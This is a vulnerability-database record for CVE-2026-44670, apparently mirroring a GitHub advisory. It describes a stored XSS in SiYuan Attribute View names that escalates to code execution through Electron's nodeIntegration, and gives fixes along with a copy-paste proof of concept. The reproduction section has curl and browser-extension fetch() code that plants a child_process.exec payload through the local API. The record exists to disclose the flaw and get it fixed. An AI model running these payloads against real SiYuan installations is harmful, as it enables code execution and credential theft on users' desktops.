{"id":"CVE-2026-44670","aliases":["GHSA-2h64-c999-c9r6","GO-2026-4992"],"url":"https://o3.security/vulnerability/CVE-2026-44670","summary":"SiYuan: Stored XSS via Attribute View name to Electron renderer RCE in SiYuan","details":"## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 < utf8.RuneCountInString(attrView.Name) {\n    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView)         // ← no html.EscapeString\n```\n\n**Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `<span data-av-id=\"${avID}\" ... class=\"popover__block\">${avName}</span>`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)   // ← raw\n```\n\n**Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n<div contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...>${data.name || \"\"}</div>\n// ...\ne.firstElementChild.outerHTML = `<div class=\"av__container\">${genTabHeaderHTML(...)}...</div>`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) => {\n    avTitle += `<span data-av-id=\"${item.id}\" ... class=\"popover__block\">${item.name}</span>&nbsp;`;\n});\nnodeAttrHTML += `<div class=\"protyle-attr--av\">...${avTitle}</div>`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\")     { nameHTML  = `...${escapeHTML}...`; }\nelse if (key === \"alias\")    { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\")     { memoHTML  = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" && data.new[\"av-names\"]) {\n    avHTML = `<div class=\"protyle-attr--av\">...${data.new[\"av-names\"]}</div>`;\n    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n    nodeIntegration: true, webviewTag: true,\n    webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   ```\n   Expected output (single line of JSON):\n   ```json\n   {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. **Pin shell variables** for the rest of the PoC:\n   ```sh\n   API=http://127.0.0.1:6806\n   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere\n\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H 'Content-Type: application/json' -d '{}' \\\n     | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])')\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n   Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click \"New notebook\" once.\n\n### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`.\n3. Capture the AV ID — the most recently written file in that directory:\n   ```sh\n   AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2>/dev/null | head -1)\n   AV_ID=$(basename \"$AV_FILE\" .json)\n   echo \"AV_ID: $AV_ID\"\n   ```\n   Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n   ```sh\n   DOC_ID=<root-block-id-of-the-doc-containing-the-AV>\n   ```\n\n### Step B — Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @- <<EOF\n{\n  \"session\": \"x\",\n  \"app\": \"siyuan\",\n  \"transactions\": [{\n    \"doOperations\": [{\n      \"action\": \"setAttrViewName\",\n      \"id\": \"$AV_ID\",\n      \"data\": \"<img src=x onerror=\\\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\\\">\"\n    }],\n    \"undoOperations\": []\n  }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C — Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])\"\n```\nExpected output (the raw HTML as stored — `print` does not escape `\"`, so they appear as literal quotes):\n```\n<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">\n```\n\n### Step D — Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.\n\n### Step E — Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch('http://127.0.0.1:6806/api/transactions', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    session: 'x', app: 'siyuan',\n    transactions: [{ doOperations: [{\n      action: 'setAttrViewName',\n      id: '<av-id-discovered-via-prior-recon-fetches>',\n      data: `<img src=x onerror=\"require('child_process').exec('xcalc')\">`\n    }] }]\n  })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met.\n- **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.","published":"2026-05-14T18:25:50.501Z","modified":"2026-08-12T03:51:43.844543204Z","cvss":null,"epss":{"score":0.00509,"percentile":0.41087,"asOf":"2026-08-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","fixedVersion":"0.0.0-20260512140701-d7b77d945e0d"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44670.json"},{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44670"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.844543204Z"}}